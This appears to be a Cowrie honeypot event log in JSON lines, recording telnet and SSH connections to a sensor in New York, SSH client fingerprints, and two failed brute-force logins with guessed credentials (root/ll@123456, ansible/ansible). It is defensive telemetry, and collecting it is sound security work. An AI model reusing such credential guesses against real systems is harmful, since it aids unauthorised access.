{"eventid":"cowrie.session.closed","duration":30.804239511489868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:22.057800Z","src_ip":"136.144.203.5","session":"387912f66067","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":39956,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c8b288bb0e0","protocol":"telnet","message":"New connection: 146.19.248.24:39956 (159.203.135.109:23) [session: 5c8b288bb0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:24.572675Z"}
{"eventid":"cowrie.session.closed","duration":30.70506191253662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:25.335570Z","src_ip":"146.19.248.24","session":"0b1d034c9621","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":39960,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea5cbee5e06","protocol":"telnet","message":"New connection: 146.19.248.24:39960 (159.203.135.109:23) [session: aea5cbee5e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:25.639832Z"}
{"eventid":"cowrie.session.closed","duration":30.476812601089478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:26.125501Z","src_ip":"146.19.248.24","session":"442e31256866","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":41690,"dst_ip":"10.17.0.5","dst_port":23,"session":"3faae05a5a80","protocol":"telnet","message":"New connection: 103.157.135.60:41690 (10.17.0.5:23) [session: 3faae05a5a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:26.284994Z"}
{"eventid":"cowrie.session.closed","duration":31.135223150253296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:26.449528Z","src_ip":"136.144.203.5","session":"334e401076ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":45312,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4cc884f9b02","protocol":"telnet","message":"New connection: 136.144.203.5:45312 (159.203.135.109:23) [session: a4cc884f9b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:26.535120Z"}
{"eventid":"cowrie.session.closed","duration":30.425506830215454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:26.647653Z","src_ip":"103.157.135.60","session":"6797cedc9061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.041151523590088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:27.330048Z","src_ip":"136.144.203.5","session":"956451bb509e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":52012,"dst_ip":"159.203.135.109","dst_port":23,"session":"f002551d7673","protocol":"telnet","message":"New connection: 146.19.248.24:52012 (159.203.135.109:23) [session: f002551d7673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:27.930618Z"}
{"eventid":"cowrie.session.closed","duration":31.75680661201477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:28.935698Z","src_ip":"146.19.248.24","session":"907dcfb5e8fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":52024,"dst_ip":"159.203.135.109","dst_port":23,"session":"25c0c4cd2ca9","protocol":"telnet","message":"New connection: 146.19.248.24:52024 (159.203.135.109:23) [session: 25c0c4cd2ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:29.088236Z"}
{"eventid":"cowrie.session.closed","duration":30.692667961120605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:29.212126Z","src_ip":"146.19.248.24","session":"8b1c2819dbbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.51209902763367,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:29.501291Z","src_ip":"139.162.207.207","session":"0cf2331da2a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":58910,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f2616275c1e","protocol":"ssh","message":"New connection: 125.31.2.160:58910 (10.17.0.5:22) [session: 5f2616275c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:29.548371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:29.552454Z","src_ip":"125.31.2.160","session":"5f2616275c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:29.769282Z","src_ip":"125.31.2.160","session":"5f2616275c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.00588655471802,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:29.966618Z","src_ip":"146.19.248.24","session":"879532e8329a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ll@123456","message":"login attempt [root/ll@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:30.675017Z","src_ip":"125.31.2.160","session":"5f2616275c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":52026,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fbe23aba4bd","protocol":"telnet","message":"New connection: 146.19.248.24:52026 (159.203.135.109:23) [session: 9fbe23aba4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:30.723953Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":49578,"dst_ip":"10.17.0.5","dst_port":23,"session":"190bdbda614c","protocol":"telnet","message":"New connection: 103.157.135.60:49578 (10.17.0.5:23) [session: 190bdbda614c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:31.032727Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:31.899843Z","src_ip":"125.31.2.160","session":"5f2616275c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":47910,"dst_ip":"10.17.0.5","dst_port":23,"session":"c09db82bd2bd","protocol":"telnet","message":"New connection: 103.157.135.60:47910 (10.17.0.5:23) [session: c09db82bd2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:32.230333Z"}
{"eventid":"cowrie.session.closed","duration":31.144742012023926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:33.096780Z","src_ip":"146.19.248.24","session":"d8210bfc2c6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":52040,"dst_ip":"159.203.135.109","dst_port":23,"session":"5500a41219a7","protocol":"telnet","message":"New connection: 146.19.248.24:52040 (159.203.135.109:23) [session: 5500a41219a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:33.435686Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":49474,"dst_ip":"159.203.135.109","dst_port":23,"session":"214837867d77","protocol":"telnet","message":"New connection: 136.144.203.5:49474 (159.203.135.109:23) [session: 214837867d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:34.460768Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":34104,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3b5b497cb6c","protocol":"telnet","message":"New connection: 103.157.135.60:34104 (10.17.0.5:23) [session: a3b5b497cb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:36.647461Z"}
{"eventid":"cowrie.session.closed","duration":31.343940496444702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:37.697994Z","src_ip":"146.19.248.24","session":"f65ee4e40073","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":40402,"dst_ip":"159.203.135.109","dst_port":23,"session":"3982697bcfdf","protocol":"telnet","message":"New connection: 146.19.248.24:40402 (159.203.135.109:23) [session: 3982697bcfdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:37.712137Z"}
{"eventid":"cowrie.session.closed","duration":30.659847021102905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:38.832396Z","src_ip":"103.157.135.60","session":"f7c54cbf6cdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":40410,"dst_ip":"159.203.135.109","dst_port":23,"session":"41d1f6015673","protocol":"telnet","message":"New connection: 146.19.248.24:40410 (159.203.135.109:23) [session: 41d1f6015673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:39.377395Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":41246,"dst_ip":"159.203.135.109","dst_port":23,"session":"55cfc53a51e3","protocol":"telnet","message":"New connection: 45.87.43.158:41246 (159.203.135.109:23) [session: 55cfc53a51e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:39.391197Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":40418,"dst_ip":"159.203.135.109","dst_port":23,"session":"5797d9035458","protocol":"telnet","message":"New connection: 146.19.248.24:40418 (159.203.135.109:23) [session: 5797d9035458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:39.436968Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":41248,"dst_ip":"159.203.135.109","dst_port":23,"session":"23733728a32c","protocol":"telnet","message":"New connection: 45.87.43.158:41248 (159.203.135.109:23) [session: 23733728a32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:41.312441Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":36446,"dst_ip":"159.203.135.109","dst_port":23,"session":"1885b124af95","protocol":"telnet","message":"New connection: 45.87.43.158:36446 (159.203.135.109:23) [session: 1885b124af95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:42.404177Z"}
{"eventid":"cowrie.session.closed","duration":42.32804083824158,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:42.439176Z","src_ip":"139.162.207.207","session":"05a794b80803","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.73578763008118,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:42.503552Z","src_ip":"139.162.207.207","session":"08e5ee975a81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51440,"dst_ip":"159.203.135.109","dst_port":22,"session":"798ee7e96982","protocol":"ssh","message":"New connection: 159.203.92.129:51440 (159.203.135.109:22) [session: 798ee7e96982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:42.806697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:42.811349Z","src_ip":"159.203.92.129","session":"798ee7e96982","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:42.815415Z","src_ip":"159.203.92.129","session":"798ee7e96982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:42.828938Z","src_ip":"159.203.92.129","session":"798ee7e96982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":49268,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58fa6163c1f","protocol":"telnet","message":"New connection: 103.157.135.60:49268 (10.17.0.5:23) [session: d58fa6163c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:43.133826Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":52276,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ed86ce19ced","protocol":"telnet","message":"New connection: 139.162.207.207:52276 (10.17.0.5:23) [session: 1ed86ce19ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:43.242071Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:43.835551Z","src_ip":"159.203.92.129","session":"798ee7e96982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":51456,"dst_ip":"10.17.0.5","dst_port":23,"session":"18892b2b364b","protocol":"telnet","message":"New connection: 103.157.135.60:51456 (10.17.0.5:23) [session: 18892b2b364b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:44.223687Z"}
{"eventid":"cowrie.session.closed","duration":30.900993585586548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:44.386650Z","src_ip":"146.19.248.24","session":"5b4a9f121406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":53296,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ff9fde138f","protocol":"telnet","message":"New connection: 103.157.135.60:53296 (10.17.0.5:23) [session: 90ff9fde138f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:45.157415Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":40428,"dst_ip":"159.203.135.109","dst_port":23,"session":"a452d68538fd","protocol":"telnet","message":"New connection: 146.19.248.24:40428 (159.203.135.109:23) [session: a452d68538fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:45.924586Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":53304,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d07264e92a","protocol":"telnet","message":"New connection: 103.157.135.60:53304 (10.17.0.5:23) [session: a4d07264e92a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:46.162512Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":51336,"dst_ip":"10.17.0.5","dst_port":23,"session":"794baa836faa","protocol":"telnet","message":"New connection: 103.157.135.60:51336 (10.17.0.5:23) [session: 794baa836faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:47.163076Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":55660,"dst_ip":"10.17.0.5","dst_port":23,"session":"23be1e4265b0","protocol":"telnet","message":"New connection: 103.157.135.60:55660 (10.17.0.5:23) [session: 23be1e4265b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:47.266620Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":55706,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6f90cdb3e56","protocol":"telnet","message":"New connection: 103.157.135.60:55706 (10.17.0.5:23) [session: c6f90cdb3e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:47.302124Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":57456,"dst_ip":"159.203.135.109","dst_port":23,"session":"689c1ed76064","protocol":"telnet","message":"New connection: 136.144.203.5:57456 (159.203.135.109:23) [session: 689c1ed76064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:47.542699Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":57560,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f0369db163e","protocol":"telnet","message":"New connection: 136.144.203.5:57560 (159.203.135.109:23) [session: 1f0369db163e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:47.788873Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":36018,"dst_ip":"159.203.135.109","dst_port":23,"session":"08cf51bc3e05","protocol":"telnet","message":"New connection: 146.19.248.24:36018 (159.203.135.109:23) [session: 08cf51bc3e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:51.013040Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":59208,"dst_ip":"10.17.0.5","dst_port":23,"session":"d70533021f9c","protocol":"telnet","message":"New connection: 103.157.135.60:59208 (10.17.0.5:23) [session: d70533021f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:51.137956Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":36028,"dst_ip":"159.203.135.109","dst_port":23,"session":"a675d45baaa8","protocol":"telnet","message":"New connection: 146.19.248.24:36028 (159.203.135.109:23) [session: a675d45baaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:51.693718Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36586,"dst_ip":"10.17.0.5","dst_port":23,"session":"8357cf91be12","protocol":"telnet","message":"New connection: 139.162.207.207:36586 (10.17.0.5:23) [session: 8357cf91be12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:51.868621Z"}
{"eventid":"cowrie.session.closed","duration":30.90358257293701,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:52.051956Z","src_ip":"136.144.203.5","session":"d3b69d7380de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722492218017578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:52.315571Z","src_ip":"146.19.248.24","session":"da54d0690a47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50830316543579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:55.080872Z","src_ip":"146.19.248.24","session":"5c8b288bb0e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":36032,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe66fd3f0a40","protocol":"telnet","message":"New connection: 146.19.248.24:36032 (159.203.135.109:23) [session: fe66fd3f0a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:55.501118Z"}
{"eventid":"cowrie.session.closed","duration":30.44344449043274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:56.083168Z","src_ip":"146.19.248.24","session":"aea5cbee5e06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":35562,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6566198b113","protocol":"telnet","message":"New connection: 136.144.203.5:35562 (159.203.135.109:23) [session: a6566198b113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:56.690120Z"}
{"eventid":"cowrie.session.closed","duration":30.425482749938965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:56.710332Z","src_ip":"103.157.135.60","session":"3faae05a5a80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":40158,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa398ab945ce","protocol":"telnet","message":"New connection: 146.19.248.24:40158 (159.203.135.109:23) [session: fa398ab945ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:56.940210Z"}
{"eventid":"cowrie.session.closed","duration":30.610461711883545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:57.145429Z","src_ip":"136.144.203.5","session":"a4cc884f9b02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.144139766693115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:58.074655Z","src_ip":"146.19.248.24","session":"f002551d7673","protocol":"telnet"}
